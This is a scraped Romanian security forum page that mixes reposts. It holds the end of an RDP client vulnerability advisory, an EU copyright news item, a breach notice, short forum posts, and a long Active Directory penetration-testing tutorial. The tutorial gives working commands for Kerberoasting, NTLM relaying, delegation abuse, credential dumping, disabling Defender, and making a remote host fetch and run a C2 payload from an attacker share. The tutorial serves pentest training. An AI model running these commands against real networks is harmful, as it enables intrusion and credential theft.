disclosed to Microsoft. 22 October 2018 – Vulnerabilities were disclosed to FreeRDP. 22 October 2018 – FreeRDP replied and started working on a patch. 28 October 2018 – Vulnerabilities were disclosed to rdesktop. 5 November 2018 – FreeRDP sent us the patches and asked for us to verify them. 18 November 2018 – We verified the patches of FreeRDP, and gave them a “green light” to continue. 20 November 2018 – FreeRDP committed the patches to their Github as part of 2.0.0-rc4. 17 December 2018 – Microsoft acknowledged our findings. For more information, see Microsoft’s Response. 19 December 2018 – rdesktop sent us the patches and asked us to verify them. 19 December 2018 – We verified the patches of rdesktop, and gave them a “green light” to continue. 16 January 2019 – rdesktop committed the patches to their Github as part of v1.8.4. Microsoft’s Response During the responsible disclosure process, we sent the details of the path traversal in mstsc.exe to Microsoft. This is Microsoft’s official response: “Thank you for your submission. We determined your finding is valid but does not meet our bar for servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).” As a result, this path traversal has no CVE-ID, and there is no patch to address it. Conclusion During our research, we found numerous critical vulnerabilities in the tested RDP clients. Although the code quality of the different clients varies, as can be seen by the distribution of the vulnerabilities we found, we argue that the remote desktop protocol is complicated, and is prone to vulnerabilities. As we demonstrated in our PoCs for both Microsoft’s client and one of the open-sourced clients, a malicious RDP server can leverage the vulnerabilities in the RDP clients to achieve remote code execution over the client’s computer. As RDP is regularly used by IT staff and technical workers to connect to remote computers, we highly recommend that everyone patch their RDP clients. In addition, due to the nature of the clipboard findings we showed in Microsoft’s RDP client, we recommend users to disable the clipboard sharing channel (on by default) when connecting to a remote machine. Recommendation for Protection Check Point recommends the following steps in order to protect against this attack: Check Point Research worked closely with FreeRDP, rdesktop and Microsoft to mitigate these vulnerabilities. If you are using rdesktop or FreeRDP, update to the latest version which includes the relevant patches. When using Microsoft RDP client (MSTSC), we strongly recommend disabling bi-directional clipboard sharing over RDP. Apply security measures to both the clients and the servers involved in the RDP communication. Check Point provides various security layers that may be used for protection such as IPS, SandBlast Agent, Threat Emulation and ANTEX. Users should avoid using RDP to connect to remote servers that have not implemented sufficient security measures. Check Point’s IPS blade provides protections against these threats: “FreeRDP Remote Code Execution (CVE-2018-8786)” Appendix A – CVEs found in rdesktop: CVE 2018-8791: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function rdpdr_process() that results in an information leak. CVE 2018-8792: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function cssp_read_tsrequest() that results in a Denial of Service (segfault). CVE 2018-8793: rdesktop versions up to and including v1.8.3 contain a Heap-Based Buffer Overflow in function cssp_read_tsrequest() that results in a memory corruption and probably even a remote code execution. CVE 2018-8794: rdesktop versions up to and including v1.8.3 contain an Integer Overflow that leads to an Out-Of-Bounds Write in function process_bitmap_updates() and results in a memory corruption and possibly even a remote code execution. CVE 2018-8795: rdesktop versions up to and including v1.8.3 contain an Integer Overflow that leads to a Heap-Based Buffer Overflow in function process_bitmap_updates() and results in a memory corruption and probably even a remote code execution. CVE 2018-8796: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_bitmap_updates() that results in a Denial of Service (segfault). CVE 2018-8797: rdesktop versions up to and including v1.8.3 contain a Heap-Based Buffer Overflow in function process_plane() that results in a memory corruption and probably even a remote code execution. CVE 2018-8798: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function rdpsnd_process_ping() that results in an information leak. CVE 2018-8799: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_secondary_order() that results in a Denial of Service (segfault). CVE 2018-8800: rdesktop versions up to and including v1.8.3 contain a Heap-Based Buffer Overflow in function ui_clip_handle_data() that results in a memory corruption and probably even a remote code execution. CVE 2018-20174: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function ui_clip_handle_data() that results in an information leak. CVE 2018-20175: rdesktop versions up to and including v1.8.3 contains several Integer Signedness errors that leads to Out-Of-Bounds Reads in file mcs.c and result in a Denial of Service (segfault). CVE 2018-20176: rdesktop versions up to and including v1.8.3 contains several Out-Of-Bounds Reads in file secure.c that result in a Denial of Service (segfault). CVE 2018-20177: rdesktop versions up to and including v1.8.3 contain an Integer Overflow that leads to a Heap-Based Buffer Overflow in function rdp_in_unistr() and results in a memory corruption and possibly even a remote code execution. CVE 2018-20178: rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_demand_active() that results in a Denial of Service (segfault). CVE 2018-20179: rdesktop versions up to and including v1.8.3 contain an Integer Underflow that leads to a Heap-Based Buffer Overflow in function lspci_process() and results in a memory corruption and probably even a remote code execution. CVE 2018-20180: rdesktop versions up to and including v1.8.3 contain an Integer Underflow that leads to a Heap-Based Buffer Overflow in function rdpsnddbg_process() and results in a memory corruption and probably even a remote code execution. CVE 2018-20181: rdesktop versions up to and including v1.8.3 contain an Integer Underflow that leads to a Heap-Based Buffer Overflow in function seamless_process() and results in a memory corruption and probably even a remote code execution. CVE 2018-20182: rdesktop versions up to and including v1.8.3 contain a Buffer Overflow over the global variables in function seamless_process_line() that results in a memory corruption and probably even a remote code execution. Appendix B – CVEs found in FreeRDP: CVE 2018-8784: FreeRDP prior to version 2.0.0-rc4 contains a Heap-Based Buffer Overflow in function zgfx_decompress_segment() that results in a memory corruption and probably even a remote code execution. CVE 2018-8785: FreeRDP prior to version 2.0.0-rc4 contains a Heap-Based Buffer Overflow in function zgfx_decompress() that results in a memory corruption and probably even a remote code execution. CVE 2018-8786: FreeRDP prior to version 2.0.0-rc4 contains an Integer Truncation that leads to a Heap-Based Buffer Overflow in function update_read_bitmap_update() and results in a memory corruption and probably even a remote code execution. CVE 2018-8787: FreeRDP prior to version 2.0.0-rc4 contains an Integer Overflow that leads to a Heap-Based Buffer Overflow in function gdi_Bitmap_Decompress() and results in a memory corruption and probably even a remote code execution. CVE 2018-8788: FreeRDP prior to version 2.0.0-rc4 contains an Out-Of-Bounds Write of up to 4 bytes in function nsc_rle_decode() that results in a memory corruption and possibly even a remote code execution. CVE 2018-8789: FreeRDP prior to version 2.0.0-rc4 contains several Out-Of-Bounds Reads in the NTLM Authentication module that results in a Denial of Service (segfault). Sursa: https://research.checkpoint.com/reverse-rdp-attack-code-execution-on-rdp-clients/

Adio internet așa cum îl știm. Articolul 11 și Articolul 13 au fost acceptate. BY IULIAN MOCANU ON 26/03/2019 Pe parcursul zilei de 26 martie 2019 a avut loc votul decisiv în Parlamentul European pentru noua legislație de copyright din piața unică digitală a Uniunii Europene. Votul a fost precedat de o propunere prin care Articolul 11 și Articolul 13 ar fi fost supuse la vot individual pentru a determina dacă acestea vor fi sau nu parte din legislație. Acestă propunere a rezultat într-un vot ce s-a încheiat cu 312 în favoarea revizuirii celor două articole și 317 în favoarea acceptării lor așa cum sunt. Pentru ceva context, dacă 3 din cei 12 reprezentanți ai României din Parlamentul European, care au votat împotriva acestei propuneri, ar fi fost în favoarea sa, atunci legislația nu ar fi trecut la vot direct fără să fie luate iarăși în discuție articolele cu pricina. În lipsa acestui pas adițional, legislația a fost supusă la un vot ce s-a încheiat cu 348 de membri ai parlamentului exprimându-și aprobarea, iar 274 exprimând dezaprobarea. Rezultatul este acceptarea sa în forma curentă. Puteți găsi aici un document detaliat cu voturile efective. La origini, legislația era menită să ofere ceva mai multă putere de negociere și control creatorilor de conținut și deținătorilor de proprietăți intelectuale. Însă, conform criticilor, forma actuală face opusul. Articolele 11 și 13 ar putea avea efecte foarte nocive asupra a orice înseamnă competiție pentru rețelele sociale existente, sau pentru platformele de livrate conținut generat de utilizatori. Mai există un pas înainte de implementarea sa efectivă, un vot în Consiliul Uniunii Europene ce va avea loc în ziua de 9 aprilie. Dacă nu se va obține o majoritate la acea dată, tot există speranța ca legislația să nu fie adoptată în forma sa actuală și să reintre în negocieri după alegerile euro-parlamentare din luna mai. Implementarea efectivă a noii legislații oricum va dura ceva timp, iar forma exactă în care vor fi implementate diversele articole ar putea fi modificate, la un moment Germania considerând posibilitatea de a renunța la partea de filtre de internet pentru varianta sa a legislației. Dacă vă întrebați „Cum poate fi o piață unică digitală dacă unele țări pot decide să nu aibă filtre de internet”, ați demonstrat deja mai multă capacitate de gândire decât câteva sute de oameni trimiși prin vot public în Parlamentul European. Consecințele acestei noi legislații se vor contura pe parcursul următoarelor luni. Puteți citi aici o explicație mai pe larg a conceptelor din spatele noii legislații, dar mai ales ideile de bază pentru Articolul 11 și Articolul 13. De asemenea, spre sfârșitul săptămânii veți avea parte de un articol mai detaliat despre cum s-a ajuns la acest rezultat, considerat de o mare parte a internetului ca fiind un dezastru de proporții pentru umanitate. [Reuters] Sursa: https://zonait.ro/adio-internet-articolul-11-articolul-13/

Informare incident de securitate Published on luni, 4 februarie 2019 Furnizorii Enel Energie S.A./Enel Energie Muntenia S.A. au identificat, în luna octombrie 2018, în contextul utilizării unei aplicații care facilitează contractarea de către clienți a serviciilor prestate, un incident de securitate prin care, în mod accidental, au fost dezvăluite date cu caracter personal aparținând unui număr de 3 (trei) clienți către alți 3 (trei) clienți ceea ce a condus la posibilitatea de accesare neautorizată a acestor date de către primitori. Datele cu caracter general dezvăluite sunt exclusiv date cu caracter general (nume, prenume, adresă domiciliu, serie, număr carte de identitate, cod numeric personal, locul și data nașterii, cod client, cod ENELTEL, număr de telefon fix și mobil, adresă de e-mail, informații contractuale -număr contract, servicii contractuale furnizate); nu fac obiectul acestei încălcări de securitate date sensibile, date cu caracter special sau date cu privire la infracțiuni ale clienților după cum sunt calificate de art. 9 si 10 GDPR. Precizăm ca Enel Energie S.A./Enel Energie Muntenia S.A. au acționat, în primul rând, prin stabilizarea aplicației, în sensul că toate linkurile transmise au fost dezactivate, și oprirea acesteia până la identificarea și eliminarea erorii care a condus la producerea incidentului. De asemenea, Enel Energie S.A./Enel Energie Muntenia S.A. au analizat impactul acestui incident și au evaluat riscurile și consecințele pe care le-ar fi putut suferi persoanele vizate conform prevederilor legale aplicabile. Pentru a diminua riscurile asupra persoanelor vizate, cât și pentru a-i informa pe aceștia cu privire la incidentul de securitate ce a avut loc, furnizorul a contactat telefonic respectivii clienți și le-a furnizat informații detaliate referitoare la incident, precum și la măsurile luate. Nu au existat, ca urmare, plângeri ulterioare sau reveniri din partea persoanelor vizate, nu au fost solicitate informații suplimentare, relația contractuală derulându-se în continuare în condiții foarte bune de colaborare. Ulterior corectării erorii apărute, furnizorul a introdus verificări tehnice suplimentare de validare a documentelor transmise clientului, precum și testări repetate ale sistemului printr-un exercițiu de tip “ethical hacking/penetration testing”, pentru a releva eventualele vulnerabilități ale acestuia. După izolarea incidentului și informarea persoanelor vizate, furnizorul a transmis către Autoritatea Națională de Supraveghere a Prelucrării Datelor cu Caracter Personal notificarea de înștiintare a incidentului de securitate, care reflectă detaliile evenimentului și măsurile luate. Autoritatea a decis publicarea prezentului anunț pe site-ul furnizorului, prin care acesta să anunțe incidentul și măsurile luate pentru rezolvarea lui. Sursa: https://www.enel.ro/enel-muntenia/ro/informare-incident-de-securitate.html

1985 - 2018 : https://kskedlaya.org/putnam-archive/ 1938 - 1985 : https://mks.mff.cuni.cz/kalva/putnam.html Pentru pasionati.

Scanner pentru tumilsugi ai?

Penetration Testing Active Directory, Part II Hausec Infosec March 12, 2019 13 Minutes In the previous article, I obtained credentials to the domain three different ways. For most of this part of the series, I will use the rsmith user credentials, as they are low-level, forcing us to do privilege escalation. Privilege escalation in Windows can of course come from a missing patch or unquoted service paths, but since this is pentesting AD, we’re going to exploit some AD things in order to elevate privileges. With credentials to the network we now should do a little recon before we directly look to missing patch exploits. There’s a few tools and techniques that will help. Phase II: Privilege Escalation & Reconnaissance “Time spent on reconnaissance is seldom wasted.” – Arthur Wellesley Tool: Bloodhound One of my favorite tools is Bloodhound. Attackers think in graphs, so Bloodhound is an excellent tool because it literally maps out the domain in a graph, revealing relationships that are both intended and not intended. From an attacker perspective, this is interesting because it shows us targets. I wrote a whole thing on Bloodhound, which can be read here, but I’ll show a tl;dr version. Let’s assume you don’t have a session opened on a machine, but you have credentials. You can still use Bloodhound’s Python ingestor and remotely gather the data. It can in be installed via git git clone https://github.com/fox-it/BloodHound.py.git cd BloodHound.py/ && pip install . Then can be ran by passing in the credentials, domain, and DC IP bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all Once BH does it’s thing, it will store the data in the directory you ran it in, in .json format. Copy those files, then drag them into Bloodhound and you now have a pretty graph of the network. If you sort by “Shortest path to domain admin” you’ll get something similar to below AdminAlice is logged into a DC. The power of this is that you can directly see what administrators are logged into what machines, giving you a next target. In a domain of hundreds or maybe even thousands of machines that will accept low-privilege credentials, you don’t want to waste time by just gathering other low-priv creds. This gives a target list, among many other things. Other uses can include identifying SQL servers that might have databases containing credentials, identifying what machines can be RDP’d into, and so much more. I encourage you to read more about it’s capabilities in depth here. I also encourage you to look at GoFetch, which automatically utilizes an attack plan drawn out by Bloodhound. Attack: Kerberoasting | Tool: GetUserSPNs.py With a target list and a domain controller identified, one way of privilege escalation is Kerberoasting. Kerberoasting is possible because service accounts are issued a Service Principal Name (SPN) within AD. It is possible then for any user to request a Kerberos ticket from the SPN, which has that accounts hashed password (In Kerberos 5 TGS-REP format). There are many different tools that can do Kerberoasting, but really you only need one tool. GetUserSPNs.py is pretty self explanatory — it queries the target domain for SPNs that are running under a user account. Using it is pretty simple. And now we have the hash to a service account. I load it into hashcat (GUI, of course) and select hash type 13100, as highlighted below And it cracks within a few seconds We now have the credentials to a service account, which usually results in access to the domain controller. Too easy? Let’s try other ways. Attack: ASEPRoasting | Tool: Rubeus ASEPRoasting is similar to Kerberoasting in the sense that we query accounts for TGTs, get the hash, then crack it, however in the case of ASEPRoasting there’s a very big caveat: Kerberos pre-authentication must be disabled, which is not a default setting. When you request a TGT, via a Kerberos AS-REQ message, you also supply a timestamp that is encrypted with your username and password. The Key Distribution center (KDC) then decrypts the timestamp, verifies the request is coming from that user, then continues with the authentication process. This is the pre-authentication process for Kerberos, which is obviously a problem for an attacker because we aren’t the KDC and cannot decrypt that message. Of course, this is by design, to prevent attacks, however if pre-authentication is turned off, we can send an AS-REQ to any user which will return their hashed password in return. Since pre-auth is enabled by default, it has to be manually turned off, so this is rare, however still worth mentioning. tsmith is susceptible to ASREPRoasting because ‘Do not require Kerberos preauthentication’ is checked. To exploit this, we’ll use a tool called Rubeus. Rubeus is a massive toolset for abusing Kerberos, but for conducting ASREPRoasting, we care about this section. To use Rubeus, you first need to install Visual Studio. Once installed, download Rubeus and open the Rubeus.sln file with Visual studio. By default, it will install in the Rubeus\bin\Debug\ file. cd into that directory, then run it: .\Rubeus.exe asreproast If no users have ‘Do not require Kerberos preauthentication’ checked, then there won’t be any users to roast. But if there is… We then can get the hash for the user and crack it. Keep in mind that the examples were done on a computer already joined to the domain, so if you were doing this from a computer not on the domain, you would have to pass in the domain controller, domain name, OUs, etc. Tool: SILENTTRINITY SILENTTRINITY is a new Command and Control (C2) tool developed by @byt3bl33d3r which utilizes IronPython and C#. You have the option to use MSBuild.exe, a Windows binary which builds C# code (which is also installed by default with Windows 10, as part of .NET) to run a command & control (C2) payload in an XML format, allowing the attacker to then use the underlying .NET framework to do as they please on the victim’s machine via IronPython, C#, and other languages. Personally, SILENTTRINITY has replaced Empire in my toolkit and I wrote a guide on how to use it here. There’s still select areas where I’d prefer to have an Empire connection, but ST is also in an ‘alpha’ state, so that functionality will come. There’s three main reasons why ST has replaced Empire, in my opinion. Empire payloads are now being caught by Windows Defender, even when obfuscated (there’s ways around it, but still.) ST lives off the land You can elevate to SYSTEM privileges when executing the payload over CME with the –at-exec switch. Below is a PoC in a fresh Windows 10 install, using a non-Domain Admin user’s credentials Account “tsmith” is only in the user’s group Code execution with tsmith’s credentials I generate the XML payload in SILENTTRINITY, then host it on my SMB server via smbserver.py. If you’re confused on how to do that, follow my guide here. I then use CME to execute the command that will fetch the XML file on my attacker machine. crackmapexec 192.168.218.60 -u tsmith -p Password! -d lab.local -x 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe \\192.168.218.129\SMB\msbuild.xml' --exec-method atexec CME executes the supplied command, which runs msbuild.exe and tells it to build the XML file hosted on my SMB server I now have a session opened in ST And listing the info for the session reveals my username is SYSTEM, meaning I escalated from user tsmith to SYSTEM, due to the fact that MSBuild.exe ran with the –exec-method atexec option, which uses Task Scheduler with SYSTEM privileges (or whatever the highest possible it) to run the command. And of course, we then dump credentials and now have an administrator password hash which we can pass or crack. Attack: PrivExchange PrivExchange is a new technique (within the past month) that takes advantage of the fact that Exchange servers are over-permissioned by default. This was discovered by Dirkjann a little over a month ago and is now an excellent way of quickly escalating privileges. It works by querying the Exchange server, getting a response back that contains the Exchange server’s credentials, then relaying the credentials in the response to the Domain Controller via ntlmrelayx, then modifying a user’s privileges so they can dump the hashes on the domain controller. Setting this up was kind of a pain. Exchange 2013 is installed using the default methods on a Windows 2012 R2 server, and I made this modification to the PrivExchange python script to get it to work without a valid SSL certificate. After that, it ran fine. First, start ntlmrelayx.py and point it to a DC, authenticate via LDAP and escalate privileges for a user. ntlmrelayx.py -t ldap://192.168.218.10 --escalate-user rsmith Then, run privexchange.py by passing in your attacker IP (-ah), the target, and user/password/domain. python privexchange.py -ah 192.168.218.129 LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter201 Privexchange.py makes the API call to the echange ntlmrelayx relays the Exchange server’s credentials to the Master DC, then escalates rsmith’s privileges Using rsmith’s privileges to dump the hashes on the DC. With the hashes to all users, they can now be cracked. Side note: If you ever run Mimikatz and it gets caught by AV, secretsdump.py is an excellent alternative, as it doesn’t drop anything to disk. Attack: Kerberos Unconstrained Delegation Also from Dirk-jan, is an attack that takes advantage of default AD installs. Specifically, the fact that computers can, by default, change some attributes relating to their permissions such as msDS-AllowedToActOnBehalfOfOtherIdentity. This attribute controls whether users can login to (almost) any computer on the domain via Kerberos impersonation. This is all possible through relaying credentials. I’ve demonstrated mitm6 in part one, so I’ll use it again here, but relay the responses in a different way. mitm6 -i ens33 -d lab.local I then serve the WPAD file and relay the credentials over LDAPS to the primary DC while choosing the delegate access attack method. ntlmrelayx.py -t ldaps://LAB2012DC01.lab.local -wh 192.168.10.100 --delegate-access The victim opens IE, which sends out a WPAD request over IPv6, which the attacker (me) responds to and relays those credentials to the DC over LDAPS. A new computer is created and the delegation rights are modified so that the new ‘computer’ can impersonate any user on LABWIN10 (the victim) via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. So I now generate a silver ticket and impersonate the user ‘Administrator’. getST.py -spn cifs/LABWIN10.lab.local lab.local/AFWMZ0DS\$ -dc-ip 192.168.10.10 -impersonate Administrator I then logon to LABWIN10 with my silver ticket via secretsdump.py and dump the credentials. To read more on silver ticket attacks and how they work, this is a good article. Attack: Resource-based Constrained Delegation Yes, more attacks due to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. @harmj0y made a post a few weeks ago on this. Essentially, if you’re able to change a computer object in AD, you can take over the computer itself. The only catch to this is there needs to be one 2012+ domain controller, as older versions do not support resource-based constrained delegation (RBCD). Elad Shamir breaks the entire attack down, including more about RBCD, in this article. There’s three tools used for this: Powermad Powerview Rubeus This attack is then conducted on the Windows 10 machine with rsmith’s credentials. First, we set the executionpolicy to bypass so we can import and run scripts. Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser Then we check to see if we can modify discretionary access control lists (DACLs). $AttackerSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid Get-DomainObjectACL LAB2012DC01.lab.local | ?{$_.SecurityIdentifier -match $AttackerSID} The above commands look up rights for the ‘Users’ SID, showing that the group has ‘Generate Write’ permissions on the object (the DC). By default, this isn’t exploitable. This is abusing a potential misconfiguration an Administrator made; in this example it is the fact that the Admin added the “Users” group as a principal to the DC and allowed the GenericWrite attribute. As a PoC, rsmith (who is in the “Users” group), cannot get into the DC. What we do next is create a new computer account and modify the property on the domain controller to allow the new computer account to pretend to be anyone to the domain controller, all thanks to the msDS-allowedToActOnBehalfOfOtherIdentity. It’s possible for us to create a new computer account, because by default a user is allowed to create up to 10 machine accounts. Powermad has a function for it New-MachineAccount -MachineAccount hackermachine -Password $(ConvertTo-SecureString 'Spring2017' -AsPlainText -Force) We then add the new machine’s SID to the msDS-allowedToActOnBehalfOfOtherIdentity attribute on the DC. $ComputerSid = Get-DomainComputer hackermachine -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} Then use Rubeus to get the NT password for our created machine. .\Rubeus.exe hash /password:Spring2017 /user:hackermachine /domain:lab.local Finally, we then impersonate a domain administrator (Administrator) using Rubeus’ service for user (S4U) process on the target DC. .\Rubeus.exe s4u /user:hackermachine$ /rc4:9EFAFD86A2791ED001085B4F878AF381 /impersonateuser:Administrator /msdsspn:cifs/LAB2012DC01.lab.local /ptt With the ticket imported, we can then access the domain controller. Again, this is leveraging the fact that the system administrator dun goofed and added the ‘Users’ group to have Generic_Write access to the DC. Even though we couldn’t access it via SMB, we modified the permissions that would allow us to. If you’re still confused, here’s a video from SpecterOps demonstrating a walkthrough. Attack: MS14-025, GPP This one is less common as it’s been out for quite some time, however it gets a mention because it still does exist. MS14-025 is also known as the group policy preferences escalation vulnerability. When a Domain Administrator would push out a local administrator account via Group Policy Preferences, it would store the encrypted credentials in the SYSVOL share on the domain controller (SYSVOL is accessible by anyone, as it’s where policies are stored and other things domain clients need to access). This typically wouldn’t be a problem because it’s encrypted with AES encryption, right? Well, Microsoft dun goofed and published the decryption key. So now, attackers can decode the password. To simplify things, Metasploit has an auxiliary module for this. Attack: Finding over privileged accounts | Tool: CrackMapExec Ok, this one isn’t necessarily an “attack” as much as it is a methodology of doing good reconnaissance and enumeration, which a few tools can help out with. This seems like kinda of a stretch from an article standpoint, but in reality over privileged accounts are so incredibly common, that it’s not unusual to find one persons accounts then log into another persons workstation and have read access to their stuff. In addition, having privileges to servers where that user should have no business accessing, which of course leads to the attacker just dumping credentials everywhere and eventually finding creds that work on the domain controller. The methodology here is pretty easy: Spray the credentials across the network, see what you can log into. With crackmapexec, you can list the shares and see what you have write access to. crackmapexec 192.168.218.0/24 -u rsmith -p Winter2017 --shares From here, use SILENTTRINITY to get a session open on what the user has write access to, run the mimikatz module, and hope you find new credentials that are privileged. Remember, you can use CME with CIDRs, meaning if you’re using SILENTTRINITY as your C2 server and using CME to trigger the connection, you can spray that across the network for maximum sessions. Although it’s not very OpSec friendly and quite noisy. Consider it a test to see how their detection and response posture is Tools: PowerTools Suite Attack 1: Finding passwords in files. Another thing to look for is passwords in files. There’s been several occasions where I find a user is storing emails in their Documents folder, which contains a password. Or they keep an Excel/Word file with passwords in it. This is where the PowerSploit suite comes in handy. Where do I begin with the PowerSploit suite…basically if you want to do something malicious, there’s a Powershell module for it. In the case of searching for passwords, or any string for that matter, PowerView is your friend. Keep in mind EDRs catch basically every module in this suite, so I suggest encoding them before using via Invoke-Obfuscation. PowerView is easy to use. Download the PowerSploit suite, and open Powershell in the directory you’ve extracted it in (make sure you’re admin). First, allow scripts to be ran. Set-ExecutionPolicy Bypass Then import the module Import-Module .\PowerView.ps1 In the PowerView module is a command called Invoke-FileFinder, which allows you to search for files or in files for any string you want. Consider the string ‘password’. Search the C drive for anything containing the string ‘password’ Found a secret password file! Just be mindful that this takes a very long time. It helps to narrow the search area down and running the command from that directory. Attack 2: Get-ExploitableSystem This is a pretty self-explanatory script. It will query Active Directory for the hostname, OS version, and service pack level for each computer account, then cross-referenced against a list of common Metasploit exploits. First import the whole PowerSploit suite (Or just PowerView if you want) Import-Module .\PowerSploit.psd1 Then run the command Get-ExploitableSystem -Verbose Hurray for Windows XP! Attack 3: PowerUp In the PowerUp module is a function called “Invoke-All-Checks” which does exactly what it says it does. It checks for everything, from unquoted service paths (which I wrote on how to exploit here) to looking for MS14-025, it does a lot. Look at the Github for more info. Using it is simple Invoke-AllChecks Thanks MSI. Attack 4: GetSystem This module does the same thing the Metasploit ‘GetSystem’ function does. To find out more about what exactly that entails, read this excellent post by CobaltStrike. Otherwise, just run the command. Get-System -Technique Token or Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' I am just a lonely Admin. I am SYSTEM! Tool(s): ADAPE Personally, I wrote one called ADAPE – The Active Directory Assessment and Privilege Escalation script ADAPE is written in Powershell and uses several different other tool’s functions and runs them automatically, preventing the need to port over multiple tools. It’s also obfuscated and turns off Windows Defender to help bypass EDR. ADAPE is meant to be easy to use. Download it, port it over to your target Windows Machine, and run it PowerShell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 Since all the necessary scripts are included, it doesn’t need to reach out to the internet and will store the results in a capture.zip file that can be exported. Error messages are normal, unless it breaks. Then report. Looking for GPP passwords, Kerberoasting, and running Bloodhound ingestor Checking for privesc, then deleting the files it made and zipping up the capture file. If you open up the capture file, you’ll have all the results. Again, by all means, this is not comprehensive. This is just a few tools and attacks I’ve used successfully over the years, so there’s a good chance at least one of these works. In part III, I will go over post-exploitation and persistence. Resources and References: I take no credit for the discovery of any of these techniques, I’m just the dude that makes an article about the ones I like to use. Massive thank you to @harmj0y, @cptjesus, @_wald0, and the rest of the team at SpecterOps for the amazing research they do as well as creation of several excellent tools. Thank you to the Bloodhound Slack for answering my question. Thank you @byt3bl33d3r and the team at Black Hills InfoSec for the research and tools they make. Thank you @_dirkjan and the team at Fox-it for the research and tools. Thank you secureauth for impacket, a staple in every pentesters tool kit. Sursa: https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/

"Salut ! Sunt student la informatică , iar în ultimele 4 luni am descoperit pentesting-ul." Nu iti cunosc experienta....dar am impresia ca te-ai grabit putin . Foloseste-te de search bar-ul din site, vei gasi mai multe topicuri legate de OSCP. Decat sa te umple cineva cu documentatii mai bine cauta, citeste si completeaza ce nu stii din acel topic .

Bag pula in php 7.3. Dupa cum stiti, aseara au fost niste probleme. Inca sunt, a trebuit sa dezactivez "Friendly URLs" ca sa mearga si va merge temporar.

Orice server are o limita de trafic, iar 2-300 de vizitatori concurenti e semnificativ. In principiu, pentru fiecare vizitator este deschis un proces separat care ruleaza codul tau. Evident, numarul total de procese este limitat de server. Solutiile ar fi: - Incerci sa optimizezi codul actual sau adaugi caching oriunde poti ca sa reduci din resursele folosite; - Schimbi server-ul cu altul cu mai multe resurse sau adaugi resurse la cel pe care-l ai acum; - Adaugi un alt server si implementezi load balancing. Daca nu te pricepi la astea, cauti pe cineva care se pricepe.

Orice turist in orice tara este ignorant (si asa e normal, cand vrei sa te distrezi sau sa te odihnesti) in privinta lucrurilor care conteaza in fiecare zi; aportul la politica, certurile intre vecinii de bloc sau pe locurile de parcare, jegul de pe strazi, problemele de deszapezire, gropile de pe drumuri in care-ti rupi masina, meltenimul oamenilor de la orase, etc. Turistii vad ce vor sa vada, adica statiunile turistice, unde sunt intampinati majoritar de persoane care inteleg cel putin limba engleza si care isi castiga painea din a le sta la dispozitie. Deci a spune ca turistii viziteaza anumite tari pentru ca "stiu ei ceva" ce locuitorii nu stiu, implicand faptul ca ei stiu mai bine, e o aberatie. Te contrazici ridicand tara in slavi si judecand locuitorii in acelasi timp. Ce relevanta are o tara, orice tara, daca e populata de persoane subdezvoltate intelectual? Cand vizitezi o tara, ai aport la o intreaga societate, nu doar la formele de relief. Si cred ca e timpul sa renuntam la argumentul ca tara asta e frumoasa ca fiind argumentul suprem s-o vizitezi. Nu e singura tara cu obiective turistice sau istorie bogata. Nu exista tara fara probleme, nu inteleg de ce ai impresia ca cineva ar incerca sa convinga pe altcineva despre asa ceva. Problemele majore constau insa in faptul ca te lovesti de aceleasi probleme de acum cateva zeci de ani si in ziua de azi, de cateva ori pe zi. Poate functionarii bagpulisti pe tine nu te deranjeaza, sau faptul ca oamenii intra in spitale cu o boala si ies cu altele, sau faptul ca inca se cumpara voturi cu un kilogram de zahar si un litru de ulei, sau rata analfabetismului in crestere, sau faptul ca majoritatea sistemelor de stat care au relatii cu publicul functioneaza analogic, sau nepotismul din politica, sau faptul ca se cheltuie 200m € pe o catedrala. De catre cine? ---------- Daca sunteti in stare sa detectati un tipar in randul celor care critica tara, de ce nu va duceti mai departe sa investigati si de ce? Va opriti in a-i critica inapoi pe ei care critica tara, numai ca ignorati tot si va concentrati pe un argument sau doua, pe un detaliu minor care v-a calcat pe voi personal pe coada, cum e cel despre drumurile tarii. Trebuie sa intelegeti ca cei care au ceva cu tara asta incat sa se incumete sa plece sau chiar cei care o urasc chiar daca inca locuiesc aici, au mai multe motive, nu doar unul. Este irelevant sa va strofocati 2 pagini pe aici sa discutati despre drumurile tarii. In plus, va incadrati la niste aberatii de toata frumusetea, precum: ad hominem si generalizarea pripita, iar daca aveti pretentia sa pretindeti ca stiti ceva in viata asta, asa ceva trebuie sa va dispara din dialog. Apropo de drumuri, de contractul cu Bechtel care "ne-au dat teapa de un miliard de euro cu o autostrada", stiti? Avem bani sa construim autostrazi cu americanii aparent. Statul nostru nu a fost in stare sa rezolve problemele de birocratie la timp, asa ca Bechtel i-a penalizat pentru intarzieri pana cand statul n-a mai fost in stare sa le plateasca penalitatile si a reziliat contractul, cel mai probabil contra unei alte sume de bani, evident. Asa ca nu va mai ganditi ca nu avem autostrazi pentru ca nu avem bani, ganditi-va ca suntem atat de inapti pe plan politic incat nu suntem in stare sa facem loc de o autostrada. Citez, "At present the A3 motorway is one of the most expensive roads in history, having cost the Romanian government $1.5bn for 52km of partially completed carriageway.". Evident, este inutilizabila si in prezent.

